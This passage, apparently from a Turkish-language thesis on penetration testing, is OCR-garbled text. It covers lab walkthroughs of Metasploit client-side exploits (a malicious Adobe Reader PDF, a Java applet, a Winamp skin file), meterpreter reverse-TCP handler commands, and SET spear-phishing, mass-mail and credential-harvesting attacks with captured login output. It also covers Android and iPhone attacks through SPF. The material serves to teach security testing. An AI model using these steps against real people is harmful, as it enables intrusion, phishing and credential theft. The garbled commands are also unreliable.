Bir kullanicimin k6t amaghi bir PDF agmasi sonucunda PDF’i agan programdan
yararlanilabilmektedir. Windows sistemler i¢in en popiiler pdf goriintiileyici Adope Reader’dir.
Tipki tarayicilar gibi Adope Reader programinin da bir takim gilivenlik agiklar1 mevcuttur.
Ayrica tarayicilar gibi bir yama yonetimi silirecine sahip olsa da altta yatan isletim sistemini
diizenli olarak giincelleyen PDF yazilimi siirekli olarak unutulur ve daha eski savunmasiz bir
stirimde kalir. Burada hedef sistem CVE 2008-2992’ye tabi olan eski bir Adope Reader 8.1.2
stiriimiine sahiptir. Bu program metasploit tizerinde bulunan pdf modiilii ile somiiriilerek hedef

sistemde bir meterpreter oturum elde edilmistir.

it > use exploit/windous/7fllaformat/odobe wtilprinte
¥ explolt(asdobe utilarintTf) » show opticns

Wocule optlions (sxplolt/vindows/fFlleforsat/adabe utilprineg):

Nas CurTant Sstting Meguiral Pescription

@FILENVS  nnf . pdf vas ™e flle rane.

Explaiz Target

id Naww

@0 Adoby Reader WE.1.2 (Windown XP 5F3 English)

Sekil 3.254. PDF somiiriisii i¢in kullanilan exploit (Weidman, 2014).

Sekil 3.254.”de hedef sistem tizerinde bulunan bir pdf dosyasi opsiyon ayarlarinda belirtildikten
sonra hedef sistemde msf.pdf isimli k&tii amagcli bir yazilim tastyan pdf iiretilmektedir. Uretilen
bu pdf apache servisi dosyasina kopyalandiginda ve apache servisi baslatildiginda multi handler

exploiti kullanilarak hedef sistem iizerinde bir meterpreter oturum elde etmek miimkiindiir.

maf  explolt(adobe utilprintf) » nse mdtifhandler®

mef  oxploft{handler) » set paylond windows/swtetprotor/Taverss top
payload =» winduws /meterpreter/roverse top

mef  exploft(handler) » set UAIST 192.168,20.9

Ihost =5 192,160, 20.9

nsf  oxploit(handler) » exploit

[*] started reverse handler on 193,168, 20.9: 4444

[*] Sending stage (752128 bytes) to 202.1h8.20.30

[*] Meterpreter session 3 cpensd (192,368 20.9:4444 > 192.368.20.10: 3422) at
20150505 30:20:15 0800 @

Sekil 3.255. Meterpreter oturum elde etme.
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Sekil 3.255.°de goriildiigii gibi Adope Reader iizerinde bulunan bir gilivenlik agig1 ve

multi/handler yardimu ile hedef sisteme tizerinde bir meterpreter oturum elde edilmistir.

Java somiiriileri

Java somtirtileri vektorii istemci tarafli saldirilarda oldukga yaygin bir saldir1 vektoridiir. Bazi
uzmanlar Java’nin maruz kaldigi giivenlik sorunlarina ¢6ziim olarak kullanicilarin
tarayicilarindaki yazilimi kaldirmalarint veya devre disi birakmalarimi onermektedir. Java
saldirilariin gli¢lii olmasinin sebebi yapilan bir somiirii ile birden fazla platforma erisilmesine
olanak saglamasidir. Bir tarayicida Java Runtime Environment (JVE) yazilimmi c¢alistiran
Windows sistemi, Mac ve hatta Linux sistemleri bu tarayict kotii amacl bir sayfa actiginda
tamamen ayni sekilde yaralanabilmektedir. Bu boliimde java istismari metasploit iizerinde

kullanilan bir somiirii 6rnegiyle uygulanmustir.

Sekil 3.256. Java somiirii modiilii.

Sekil 3.256.’da goriilen exploit modiiliiniin opsiyon ayarlart tamamlandiktan ve sOomirii
baslatildiktan sonra hedef sistem Windows XP internet explorer {izerinden zararh siteye giris
yapildiginda Sekil 3.256.’daki gibi siteye giris yakalanir ve hedef sistem {izerinde bir

meterpreter oturum elde edilmis olur.
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Sekil 3.257. Meterpreter oturum elde etme.

Winamp

Su ana kadar gerceklestirilen kullanici tarafli saldirilarin mantigt hemen hemen ayni sekilde
islemektedir. Bu boliimde istemci yaziliminda bir giivenlik agigindan yararlanan kotii amagh bir
kod galigtirma izni isteyen zararli dosya olusturulmustur. Kullanic1 dosyay1 ilgili programla
acarsa metasploit lizerinden bir oturum elde edilmis olacaktir. Bu senaryo dahilinde kullanict
Winamp miizik ¢alar programi i¢in bir yapilandirma dosyasini degistirmek iizere kandirilmistir.
Kullanic1 bir sonraki programi agtiginda kullanicinin hangi miizik dosyasimi agtigindan
bagimsiz olarak kotii konfiglirasyon dosyasi islenmistir. Bu islem i¢in winamp maki bof

metasploit modiilli kullanilmistir.

teformari/sJwainans rakl baor
I = aptions

3 cxploit|

Creating ‘mcvcore.nakl

e.nakl stored at

Sekil 3.259. Winamp somiirii modiilii 2.
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Sekil 3.258. ve 3.259.’da gosterilen modiil araci ile sekildeki gibi bir kotii niyetli maki dosyasi
olugturulduktan sonra apache web dosyasi dizinine kopyalanarak bir payload kurulmaktadir.
Daha sonra kullanicinin bu kotii niyetli mika dosyasini Winamp yiikleme dosyasi ile
calistirmast igin paketleme islemi gerceklestirilmektedir. flgili dosya Windows iizerinde asagida

goriildiigi gibi ismi degistirilerek kopyalanmaktadir.

& e e ¢ S ¢ et e

Sekil 3.260. Zararli winamp yazilimini yiikleme.

Sekil 3.260.’da olusturulan zararli yazilim Rocketship ismi ile Winamp programimin Skins
dosyas1 altina kaydedilmistir ve kullanici programi yiiklediginde bu zararl yazilimi ¢aligtirarak

saldirgana agik bir hale gelecektir.
3.3.5. Sosyal miihendislik saldirilar:

Sosyal miihendislik saldirilar1 cihazlarin giivenlik agiklarindan ¢ok insanlarin giivenlik
aciklarmma dayanan bir saldir1 seklidir. Diinyaca bilinen en inlii hacker’larin ¢ogu sistem
giivenlik agiklarryla ugrasmak yerine sosyal mithendislik saldirilarini kullanmaktadir. Ornegin
meshur korsan Mitnick yaptigi en iinlii somiiriilerini bir binaya girerek giivenlik gorevlisi o
binada bulunma yetkisine sahip olduguna ikna ederek istedigi seyleri elde edip ¢ikmistir. Sosyal
miihendislik saldirilar1 yardimci olma arzusu ve giivenlik politikalar1 hakkinda bilgisizlikten
kaynaklanan sebepler sonucunda gerceklesmektedir. Sosyal miihendislik saldirilar1 karmasik
teknik gereksinimlerini gerektirebilmekte ya da hi¢ teknoloji gereksinimi igermemektedir.
Ornegin BT yardim masasinda calisan biri patronunun kendisini web mail hesabindan
kilitledigini iddia eden asistan1 adma patronun bilgisayarinda bir arama islemi
gerceklestirebilmektedir. Bu arama islemi ile saldirgan sifreyi telefon iizerinden
okuyabilmektedir veya varsayilan bir degere ayarlayabilmektedir. Sosyal miihendislik
saldirilariin  birgogu sirket icerisinde kullanilan e-posta’larin spam dosyalar1 iizerinden

gerceklestirilmektedir. Kimlik avi saldirilar1 bir kullaniciyi, saldirgani e-posta veya diger
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yollarla giivenilir bir kisi gibi gostererek kisisel bilgilerini ¢evrim i¢i ortamlarda paylagsmaya
ikna etme yontemi olarak bilinmektedir. Kimlik avi e-postalar1 kullanicilar kotii amagli siteleri
ziyaret etmeleri veya diger seylerin yani sira kotii amacli ekleri indirmeleri konusunda tesvik
etmek icin kullanilmaktadir. Daha dnceki boliimde gergeklestirilen kullanici tarafli saldirilarin
gerceklestirilmesi igin bir sosyal miihendislik saldirisina ihtiyag duyulmaktadir. Sosyal
miithendislik saldirilar1 bu calisma kapsaminda kimlik avi saldirilari, web saldirilari, toplu e-
posta saldirilar1 ve c¢ok noktali saldirilar olacak sekilde ayr1 ayri uygulamalarla

gerceklestirilmistir.

Kimlik avi saldirilar: (spear phishing attacks)

Bu boliimde istemci tarafindan yapilan saldirilarda kotii amagli dosyalarin hedef sistemde
olusturulmasina izin verecek bir kimlik avi saldirist ele alinacaktir. K&tii amacgli dosyalar e-
posta yolu gonderilebilmekte ve payload’t otomatik olarak yakalayacak bir metasploit igleyicisi

kurulabilmektedir.

There are 1w tions 13 g=trung your feest w=t ang Imtting SET co
pverything tor yvou o D ! the second 13 5D create your own FileFomat
poyliocod ane use 1% In your own attach ELther way, acod lock and #njoy!

pse Emaail At

Sekil 3.261. SEToolKit.

Sekil 3.261.’de SEToolKit {iizerinde Email Saldirilart secilmistir. Bu islem sonucunda
SEToolKit e-mail saldirilar1 i¢in kullanilacak payload listesini vermektedir. ilgili payload listesi

ve payload segme igslemleri payload segme boliimiinde uygulanmgtir.
Payload se¢me

Gergeklestirilecek kimlik saldirisi i¢in uygun payload’in se¢ilmesi gerekmektedir. Hedef sistem
iizerinde nasil bir baglanti kurulacagi ve nasil bir oturum elde edilecegini belirleyen etken

payload sec¢imidir.
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Sekil 3.262. Email saldir1 payloadlari.

Sekil 3.262.’de goriilen payloadlar’dan bir pdf saldiris1 gergeklestirmek amaciyla 12. Payload
secilmistir. Bu islemden sonra hedef sistem iizerinde elde edilmek istenen baglanti sekli

secilmistir.
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Sekil 3.263. Baglant1 sekli secimi.

Sekil 3.263.’de bir reverse tcp baglantisi iizerinden meterpreter oturum secilmistir. Bu

islemlerden sonra ilgili opsiyon ayarlar1 gergeklestirilmistir.
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Opsiyonlart ayarlama

Payload se¢iminden sonra ilgili payloadin ¢alismasi ig¢in gereken opsiyon bilgilerinin
ayarlanmast gerekmektedir. SEToolKit Sekil 3.264.’de goriildiigii gibi opsiyon bilgilerini

otomatik oalrak sormakta ve bazi bilgileri otomatik olarak getirmektedir.

Sekil 3.264. Payload opsiyon ayarlari.

Dosya adlandirma

Bu asamada SEToolKit olusturulan k&tii amagli dosya adini otomatik olarak adlandirir ve yeni

bir adlandirma yapilmak istenip istenmedigini sorar.

fitenam nea.pot
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Sekil 3.265. Dosya adlandirma.

Sekil 3.265.de olusturulan pdf dosyasinin ismi “bulbsecuritysalaries.pdf” olarak
degistirilmistir.

Tek veya toplu e-posta

Bu boliimde zararli dosyanin tek bir mail adresine veya toplu bir mail listesine gonderilip

gonderilmeyecegi secilmektedir.
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Sekil 3.266. Mail veya mail listesi segme.

Sekil 3.266.’de pdf dosyasiin 1. se¢enek olan tek bir mail ilizerine gonderilmesi segilmistir.

Mail listeleri iizerine saldir1 yapma iglemi ilerleyen boliimlerde uygulanmistir.

Sablon (template) olusturma

E-posta olusturulurken SEToolKit igerisindeki e-posta sablonlarindan biri kullanilabilmekte
veya sablonda tek kullanimlik i¢in bir metin girilebilmektedir. Ayrica tekrar kullanilabilecek bir
sosyal miihendislik sablonu olusturulabilmektedir. Sosyal miihendislik saldirilarinda birgok kisi
bir sirket yoneticisinden veya BT yoneticisinden gelen yeni web sitesi islevselligi ya da yeni bir

sirket politikasi ilan eden sahte e-postalar kullanmaktadir.

inet Lo use o prodefined tenpiste of rafre

L mnail ternlnts

PreDefined Templote

One-Tiee Uas Unnl

Sekil 3.267. Sablon (template) segme
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Sekil 3.267.’de simdilik SEToolKit araci igerisinde bulunan bir sablon secilmistir. Sonraki

bolimlerde kisisel e-mail sablonunu olusturma islemi uygulamalarla gosterilmistir.

Hedef ayarlama

Bu boliimde SET hedef e-posta adresini ve saldir1 e-postasini sunmakta kullanacagi bir e-posta

sunucusu isteyecektir.

Sekil 3.268. Hedef belirlenmesi.

Sekil 3.268.’de dogru kimlik bilgileri toplanabilir ve tahmin edilirse sahip olunan veya miisteri

posta sunucusu kullanilarak daha iyi sonuglar alinabilmektedir.
Dinleyici ayarlama

Onceki boliimde gonderilen zararli yazilima sahip pdf eki agilirsa payload’1 yakalamak igin bir
Metasploit dinleyicisi ayarlanabilmektedir. Bu islem SET’In setup a listener: sorusuna yes
cevab1 verilerek gerceklestirilebilmektedir. Bu islemlerin sonucunda hedef sistem tizerinde

merakl1 bir kullanicinin pdf dosyasini agmasi ve bir oturum elde edilmesi beklenmektedir.

Web saldirilar

Bu boliimde SET tizerinden gerceklestirilecek web saldirilart gerceklestirilmistir. Bu islemler

icin sosyal mithendislik saldirilart meniisiinden web saldirilar1 segenegi kullanilmistir.
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Sekil 3.269. SET web saldirilari.

Sekil 3.269.’da SET ile gerceklestirilebilecek web saldirilar listelenmektedir. Bu listedeki java
applet saldir1 yontemi onceki bolimlerde de kullanilmisti. Metasploit tarayici exploit modiilii
metasploit s6z dizimini bilerek parametreleri manuel olarak ayarlamak zorunda kalmadan tiim
metasploit’in tarayicidan yararlanan istemci tarafli saldirilarda kullanilmasini saglar. Credential
Saldinn yontemi hedef sistemdeki kullanicilart kandirarak kimlik bilgilerini paylagmalarini
saglar. Tabnabbing (sekme ekleme) saldirn yontemi kullanicilarin agik tarayici sekmeleri
koleksiyonu olusturma egilimine dayanmaktadir. Kullanict saldirt sayfasim ilk actiginda
“Liitfen Bekleyin” seklinde bir mesaj verir ve kullanici beklerken baska bir sekmeye geri doner.
Saldirt sekmesi artik odak noktasinda bulunmadiginda da (herhangi bir web sitesi klonu olabilir)
kullanictyr kimlik bilgilerini paylasmasi i¢in kandirmak veya kotii amacla siteyle etkilesim
kurmas1 amaciyla saldirgan kendi sitesini yiikler. Bu boliimde saldir1 yontemi olarak Credential
saldir1 yontemi secilmistir. Daha sonraki islemler ayni1 web ataklarinda oldugu gibi secimler

tizerine ilerlemektedir. SET iizerinde bulunan bir web sablonu secilebilmektedir.
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Sekil 3.270. Web sablonu secimi.

Sekil 3.270.’de SET iizerinde hazir olarak belirlenen web sablonu secildikten sonra local ip

adresi bilgisi istenmektedir. Bu adres Kali Linux’un ip adresi olacaktir. Bu saldir tipi
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kullanicilart kimlik bilgilerini girmeleri i¢cin kandirmak istedigi i¢in giris alani isteyen bir sablon
secilmesi gerekmektedir. Secilen sablonun sahte bir kopyasit olusturularak kullaniciyi

kandirmak i¢in kullaniimustir.

Sekil 3.271. Sahte bir web sablonu klonlanmasi.

Sekil 3.271.’de klonlanan web sitesi iizerinden bir takim bilgiler girilmektedir. Kimlik bilgileri
girildikten sonra gercek bir twitter sitesine ydnlendirme islemi gerceklesmektedir. Ilgili siteye
gerekli giris bilgileri girildiginde SET iizerinde Sekil 3.272.’de goriilen giris bilgileri

yakalanmis olur.

192,166.92.13] (24 Moy /2019 217101023 "6E7 HTTP/L,17 200
l-l MF (:"n A ,¢;~ _".!...!_‘ the dutout
SARAN: Itmpladefault

-~smin
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PISSISLE \ £ FIELD FOUND: fmail=bcavai@outinok. cos
POSSIRLE PASSHIRD FIFLD TOMD: Pysma)=) 2%
-3
CARAM! pats-
[*] Ml YUSE TINIGHTD, oIT CONTROL-C TO GERERATET & REPOHT,

Sekil 3.272. SET giris bilgileri.

Burada elde edilen kullanict ve sifre bilgilerinden sonra web saldirist sonlandirildiginda web

sayfasinin kodlar1 otomatik olarak kaydedilmektedir.

Toplu e-posta saldirilar:

Bu boliimde kimlik avi e-posta saldirilarini otomatiklestirmek i¢in SET araci kullanilmigtir.
Toplu e-posta saldirisi igin igerisinde birden fazla mail adresi bulunan bir dosya

olusturulmustur. Bu dosya Sekil 3.273.’de goriildiigii gibidir.
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Sekil 3.273. E-mail dosyasi.

SET Sosyal Miihendislik Saldirilar1 Meniisiinden izlenecek yol 5. Mass Mailler Attack -> 2.
Email Attack Mass Mailer -> 1. Use a gmail Attack Account for your e-mail attack seklindedir.
Bu ayarlar ayarlandiktan sonra ilgili mail ve sifre bilgisi girilmistir. Daha sonra izlenecek yol

asagidaki gibidir.

Sekil 3.274. SET toplu mail saldirisi.

Sekil 3.274.’de goriildiigi gibi kotl niyetli yazilim ilgili mail adreslerine gonderilmistir. Bu
kullanicilardan herhangi biri ilgili linke tikladig1 anda hedef sistem {izerinden bir oturum elde

edilmistir.

Cok noktali saldirilar

Kurumsal firma c¢alisanlarii kandirarak kimlik bilgilerini sunmak amaciyla daha Once
kullanilan saldirni yontemlerinden kimlik bilgisi toplama ve Phishing e-posta saldir
yontemlerinin  birlestirilmesi  seklinde gerceklestirilen saldirilara ¢ok noktali saldirilar
denmektedir. Yani kullanicilar kandirilarak e-posta tarafindan génderilen linklere tiklatildiktan
sonra saldirgan tarafindan kontrol edilen siteye yonlendirilir ve web saldirisi ile birlikte e-posta
saldiris1 da kullanilmig olur. Fakat bu islemler icin SET konfigiirasyon dosyasi igerisindeki bir

secenegin degistirilmesi gereklidir. Kali Linux iizerinde bu dosyaya



233

/usr/share/set/config/set config dizininden erismek miimkiindiir. Bu dosya igerisinde bulunan
WEB_ATTACK EMAIL degiskenini off degerinden on degerine degistirilirse ilgili islem
gerceklestirilebilmektedir. Crendential Harvesting Saldirist tekrar kullanilmak istendiginde
hazir sablon kullanmak yerine web posta veya g¢aligsan portali gibi bir giris sitesi mevcutsa bu

sayfalardan herhangi biri kopyalanabilmektedir.
3.3.6. Android isletim sistemi mobil saldirilari

Bu boliimde mobil saldirt islemleri gergeklestirilmis ve bu islemlerde kullanilan araglar
sunulmustur. Mobil teknolojisi hizli gelisen bir alandir ve giinimiizde yeni mobil saldir
yontemleri gelistirilmeye devam etmektedir. Calisma kapsaminda mobil saldirilari incelemek
icin Smart Pentester Framework (SPF) araci kullanilmis ve Android isletim sistemindeki saldirt

tiirleri Sekil 3.275.’deki gibi siniflandirilarak uygulamalart sunulmustur.
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Sekil 3.275. Android isletim sistemi mobil saldirilar

Mobil saldir vektorleri

Mobil cihazlar bir isletim sistemi, TCP/IP protokolleri iletisimleri ve geleneksel bilgisayarlarin
sahip oldugu ayni kaynaklarin ¢coguna erisebilme Ozelliklerine sahip olsalar da sisteme yeni

saldir1 vektorleri ve protokolleri ekleyen kendi benzersiz bir yapilar1 mevcuttur.
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Metin iletisi (text messages)

Mobil cihazlar kisa mesaj (SMS) gonderebilir ve alabilir. Boyutlar1 sinirli olmasina ragmen,
kisa mesajlar kullanicilarin neredeyse ayni anda iletisim kurmalarini saglamaktadir. Bu durum
¢ogu zaman e-postalar yerine mesajlarin tercih edilmesine neden olmaktadir. SMS yeni bir
sosyal miithendislik saldir1 vektorii alani olusturmustur. Eskiden beri var olan e-mail’ler, spam,
kimlik avi girigimleri gonderme aract olmustur ancak ficretsiz e-posta c¢oziimleri bile
giiniimiizde anlamsiz, kullanilmayan verileri filtrelemek konusunda iyi is ¢ikarmaktadir. SMS
s0z konusu oldugunda her ne kadar bazi mobil antiviriis paketleri bir cihaza bir numara
gonderildiginde cep telefonu numaralarin kara listeye veya beyaz listeye alma 6zelligine sahip
olsa da mesajn iletilmesine engel olmamaktadir. Bu durum da spam ve kimlik avi saldirilar
icin SMS’i ideal bir saldir1 vektorii haline getirmektedir. Daha Once sosyal miihendislik
saldirilarinda site kopyalama isleminde uygulandig gibi giiniimiizde kullanicilar1 sahte bir web
sitesi lizerinden kimlik bilgilerini girmeleri amacryla kandirmaya c¢alisan, rahatsiz edici ve
dikkat ¢ekici mobil reklamlar ve SMS kimlik avi girisimleri mevcuttur. Bir kullanici bu
amaglarla iletilen bir SMS linkine tikladiginda ilgili baglant1 mobil tarayicida veya ek giivenlik
aciklari icerebilecek baska bir uygulamada acilmaktadir.

Yakin alan iletisimi (near field communication)

Yakin alan iletisimi (NFC) vektorii mobil cihazlarin ekledigi yeni bir saldir1 vektoriidiir. NFC,
cihazlarin birbirine dokunarak ya da onlara yakin olan verilerin paylasilmasina olanak
tanimaktadir. NFC 6zelligi bulunan mobil cihazlar ayarlar1 degistirme veya uygulamalari agma
gibi gorevleri otomatiklestirmek amaciyla NFC etiketlerini tarayabilmektedirler. Bu yontemle
bazilar1 bir fotograf veya uygulama verilerini bir cihazdan digerine hizli bir sekilde
aktarabilmektedir. Bu da NFC’yi ideal bir sosyal miihendislik saldirist vektorii haline
getirmektedir. Kullanicilarin cihazlarinin hangi NFC etiketlerine tepki verdigine ve kiminle veri

paylastiklarina dikkat etmeleri gerekmektedir.

OR kodlar

QR (hizli yanit) kodlar1 baglangicta otomatik imalatta kullanilmak {izere gelistirilen matris
barkodlar1 olarak kullanilmaktaydi. QR kodlar bazi URL uzantilarint gomebilmektedir ve bir
mobil cihazda bulunan uygulamaya veri gonderebilmektedir. Kullanicilarin QR kod ile tarama

yaptiklarinda cihazlarinda kotli amagli bir seyin agilabilme riskinin farkinda olmalart
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gerekmektedir. Ornegin bir magaza penceresinde bulunan QR kod tarandiginda magaza sitesi

yerine kotii amacli bagka bir web sitesi acilabilmektedir.

Akilli telefon pentest framework (SPF)

Akilli Telefon Pentest Framework (SPF) hala aktif bir gelisim i¢inde olan ve 6zellik kiimeleri

hizla degisen bir pentest aracidir.

SPF ayarlama

SPF sunucusu Kali Linux’un yerlesik sunucusunu kullanmaktadir. Bu nedenle apache ve mysql
sunucularinin ¢alistigindan emin olunmasi gerekmektedir. Ayrica SPF konfigiirasyon dosyast

icerisinde bulunan ayarlarin asagidaki gibi yapilandirilmasi gerekmektedir.

SMARTPMONE PENTEST FRAAMNCWONK CONVEIO F
OOT DIRECTORY FOR THE WERSEAVEN THAT wil
T

#LOCATION F A
ANDROIDTENP =
ALOCATION OF #

Sekil 3.276. SPF config dosyasi.

Sekil 3.276.’da goriilen config dosyasi igerisindeki [P ADRESS ve SHELLIPADRESS alanlar
Kali Linux makinesinin ip adresi olacak sekilde ayarlanmistir. Daha sonra /root/Smartphone-
Pentest-Framework/frameworkconsole/ dizinin igerisindeki /framework.py dosyas1 ¢aligtirilarak

asagidaki gibi bir menti elde edilmistir.
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Sekil 3.277. SPF menu.

Ilerleyen asamalarda Sekil 3.277.’daki menii icerisinde bulunan segenekler incelenmistir. Fakat
bu boliimde SPF’nin veri tabaniyla iletisim kurabildiginden emin olunmasi amaciyla ufak bir
test yapilmistir. SPF yiikleyici, SPF i¢in bos bir veri tabani olustursa da tiim veriler segenek 7
ile temizlenebilir ve SPF yeniden baslatilabilmektedir. Sekil 3.278.’de goriildiigi gibi bu komut

SPF veri tabani tablolarini siler ve daha dnceden var olan bir tablo yoksa bunlari olusturur.
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Sekil 3.278. SPF Veri tabani tablo olusturma/slime.
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Android emiilatorii

Tim mobil saldir1 yontemleri Android Emiilatoriine bagli olarak gerceklestirilmeyecek olsa da
bazi belirli eski stirimleri hedefleyen emiilatorlerde iyi calisan misteri tarafli ve yetki
yiikseltme saldirilar1 gergeklestirilmistir. Bu islemler i¢in ii¢ tane Android Emiilatorii

kurulmustur. Android emulator ara yiizii Sekil 3.279.’da goriildiigi gibidir.

T e ey . »

Sekil 3.279. Android emiilatorii.

Mobil modemi takma

Tiim mobil saldirt vektorleri TCP/IP protokollerini kullanmadigindan SPF, pentester cihazlari
tizerinden bu iglem gereksinimlerini saglamaktadir. SPF, bir Android cihazin SPF uygulamasi
yiiklii mobil modemini veya SIM kartli bir USB modemini SMS mesajlar1 gondermek amaciyla
kullanabilmektedir. Buna ek olarak NFC 6zelligine sahip bir Android telefon kullanilirken SPF

aract Android Beam ve SPF Android uygulamalari iizerinden payload’lar1 gonderebilmektedir.
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Android uygulamasint olugturma

SPF iizerinden bir Android uygulamasi olusturmak i¢in SPF meniisiinden 4. Se¢enek secilmistir

ve framework Sekil 3.280.’de goriilen islemlerle mobil modem’e eklenmistir.
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Sekil 3.280. Mobili modeme ekleme.

Burada Control Number alanina Android 2-2 Emiilatoriiniin numarasi, Control Key alanina
Androdi 2-2 emiilator sifresi ve Control path kismma da web server’da uygulamanin nasil

baslatilacagi bilgileri eklenmistir.

Uygulamay: dagitma

Bu boliimde Android 2-2 emiilatériinde olusturulan uygulama Android 4-3 emiilatoriinde
dagitilmistir. Bu emiilatér pentester kontrollii cihazi simiile ederken diger iki emiilator hedef
emiilatorler olmustur. Emiilatorler Kali Linux isletim sisteminde kullaniliyorsa veya Kali sanal
makinesinde USB iizerinden eklenecek gergek cihazlar kullaniliyorsa ADB  kopriisi
kullanilabilmektedir. Eger Kali lizerinde emiilatorler kullaniliyorsa olusturulan uygulama Sekil

3.281.’de goriildigi gibi web sunucusuna kopyalanmustir.
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Sekil 3.281. Uygulamay1 web sunucusuna kopyalama.

Buradaki islemle uygulama kali web sunucusuna kopyalanarak emiilatore yiiklenebilmektedir.
SPF’ye Android uygulamasini NFC 6zelligi olmadan kopyalanmasi ve ardindan uygulamanin
web sunucusunun neresine yerlestirilecegi soylenmistir. Son olarak ta indirilecek dosya adinin
ne oldugu SPF’ye bildirilmistir. Mobil tarayicida 192.168.92.132/bookspf2/app.pk URL’si

acilarak uygulama Android 4-3 emiilatoriine indirilmistir.
SPF sunucusunu ve uygulamasini ekleme

Bu boliimde SPF sunucusu ve uygulamasini ekleme islemi gergeklestirilmistir. SPF sunucusu ve

uygulamasi Sekil 3.282.’de goriildiigii gibi eklenmistir.
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Sekil 3.282. SPF sunucusunu ve uygulamasini ekleme.



240

Burada gosterilen islemler tamamlandiktan sonra uygulamayi eklemek i¢in oncelikle Android
emiilator agilmistir. Ana ekran SPF sunucusunun adresi, teslim edilecek URL ve yedi karakterli
anahtar bilgileri girilmistir. Daha sonra Sekil 3.283.’de gorildiigii gibi uygulamay1 ekle
secenegi tiklanmustir. Bu islemlerden sonra mobil cihaz SPF aracindan kontrol edilmis ve saldiri

islemleri gergeklestirilmistir.
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Sekil 3.283. Uygulamay1 ekleme.

Uzak saldirilar

Mobil cihazlarin tarihinde mobil modeme ve harici diger ara yiizlere g¢esitli saldirilar
gerceklestirilmistir. Arastirmacilar mobil cihazlar {izerinde hem Android hem de iphone i¢in
mobil modem siiriiciilerinde saldirganlarin telefonu kilitlemesine, mobil agdan ¢ikarmasina ve
sadece SMS mesaj1 gondererek komut yiirtitme imkani bulmasina sebep veren giivenlik agiklar
bulmuslardir. Bilgisayarlarda oldugu gibi mobil cihazlarin da gilivenlik konumu arttik¢a uzaktan
saldiranlarin sayis1 azalmaktadir. Kullanicilar telefonlarina daha fazla yazilim yiiklediklerinde

bir baglant1 noktasini dinleyen potansiyel hizmet sayisinin olma olasiligini arttirmaktadir.
Varsayilan iphone SSH girisi

Iphone terminallerine uzaktan giris saglamak ig¢in SSH saldirilar1 kullamlabilmektedir.
Varsayilan olarak SSH tiim cihazlarda bir alp root parolasina sahiptir. Kullanicilarin ¢ogu bu

parolalar1 degistirse de iphone kullanan bir¢ok kisi parola degisimi yapmamaktadir. Varsayilan
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iphone SSH sifresini iphone {lizerinde test etmek i¢in SPF meniisiinden 5. Segenek olan Uzaktan

Saldir1 secenegi se¢ilmistir. Daha sonra iphone ip adresi verilerek saldir1 baslatilmistir.

Sekil 3.284. Iphone SSH saldirisi.

Sekil 3.284.’deki islemin basarili olmas1 halinde hedef cihaz lizerinde bir oturum elde edilmistir.

Kullanici tarafli saldirilar

Mobil cihazlarda istemci tarafli saldirilar uzak saldirt yontemlerinden daha yaygindir. Mobil
cihazlarda kullanici tarafli saldirilar mobil tarayicilariyla sinirli degildir. Cihaz iizerinde diger
varsayllan uygulamalarin yani sira icerisinde hata olabilecek ii¢iincii parti uygulamalara da

saldirilar diizenlenebilmektedir.
Kullanict tarafi oturumu (Shell)

Bu bolime bir Android cihaz iizerinde oturum elde etmek i¢in mobil tarayici iizerindeki Webkit
paketine saldirt 6rnegi uygulanmustir. Kullanici kot amagli bir sayfayr agmak igin
kandirildiktan sonra mobil tarayici lizerindeki giivenlik eksikliklerinden faydalanilmistir. Bu

islemler agagidaki gibidir.
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Sekil 3.285. Android tarayici saldirisi.

Sekil 3.285.’de web sunucusu uzantist ve dosya adi bilgileri verilmistir. SPF CVE=2010-1759
WebKit Giivenlik agigini somiirmek i¢in kotii amacl bir sayfa olusturmustur. Ardindan bu koti
amach sayfa linkinin kullanictya sms ile gonderilecegi bilgisi verilmistir. Numara olarak
Android 2-1 emiilatoriiniin numarasi verilmistir. Daha sonra sms i¢in 6zel metin kullanilip
kullanilmayacagi sorulmustur. Burada yaratici bir 6zel metin girisi yapilabilir. SPF Android 4-3
emiilatorii ile baglanti kurmus ve Android 2-1 emiilatoriine 6zel mesaji gondermesini
sOylemistir. Android 4-3 emiilatoriinden mesaj alan Android 2-1 emiilatoriinde kotli amagh link
acildiginda tarayici saldirtyr durdurmadan once 30 saniye boyunca zararli sayfayr agmaya
calismistir. Bu islemler gerceklesirken SPF iizerinde Android 2-1 emiilat6riine ait bir oturum
elde edilmistir. Elde edilen oturum yetkileri whoami komutuyla 6grenilmistir. Elde edilen

oturum admin yetkilerindeyse hedef sistem iizerinde her tiirlii islem yapilabilmektedir.

USSD uzaktan control

Unstuctured Supplemantary Service Data (USSD) mobil cihazlarm mobil ag ile iletisim
kurmasini saglayan bir servistir. Belirli numaralar ¢evrildiginde mobil cihaz belirli islemleri
yerine getirmektedir. USSD kodlart geviriciye girdiginde islevler otomatik olarak aranir. Bu
servis saldirganlarin uzaktan kontrol elde edebilmeleri igin siklikla kullandiklari bir
fonksiyondur. Saldirganlar mobil cihazlara kendi istedikleri seyi yapmaya zorlamak i¢in arama
ve sonlandirma numarasi olarak bir web sayfasina USSD kodlar1 yollayabilmektedirler. Kotii
amagli bir web sayfasinda Androide kendini telefon numarasi gibi gosteren bir USSD kodu
telefon geviricisinde ac¢ildiginda kullanicinin tiim verilerini silerek fabrikadan geri yiikleme

islemi gerceklestirir.
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Sekil 3.286. Android USSD saldirisi.

Sekil 3.286.’da SPF’ye web sunucusunun yeri, kotii amagli sayfanin adi ve Android 2-1
emiilatoriiniin telefon numarasi bilgileri verilmistir. Android 2-1 emiilatdriine gonderilen kotii

niyetli mesaj agildiginda tarayiciyi kilitlemek yerine ¢evirici uygulamasini agmustir.

Kotii amacli uygulamalar

Daha 6nce msfvenom ile kotii amagli programlarin nasil olusturulma islemi gergeklestirilmistir.
Sosyal miihendislik saldir1 yontemleriyle kullaniciy1 kandirabilmek zor olsa da mobil cihazlarda
bu durum biraz farklidir. Mobil cihazlar yaptiklar1 yeni yazilimlarla reklam yaptiklar i¢in bu
cihazlar {lizerinde kotii amagl yazilimlari indirme ihtimali daha yiiksektir. Mobil antiviriis
programlar1 genellikle uygulamalar1 c¢alistirmak i¢in asir1 izin ve cihaz iizerindeki ydnetim
islevleri gerektirmektedir. Mobil cihaz yonetimi ¢oziimleri i¢in de mobil cihaza daha fazla
uygulama yiiklemek gerekir. Mobil cihazlar i¢in yazilmis koétii amagl yazilimlarin sayisi
gittikge artmaktadir. Bir kullanici mobil cihazina kotii amagh bir yazilim indirdiginde saldirgan
veri ¢almak, cihazi uzaktan kontrol etmek hatta diger cihazlara saldirmak i¢in Android
uygulamalarint (APIs) kullanabilmektedir. Android gilivenlik mekanizmasina gore kotii amaglt
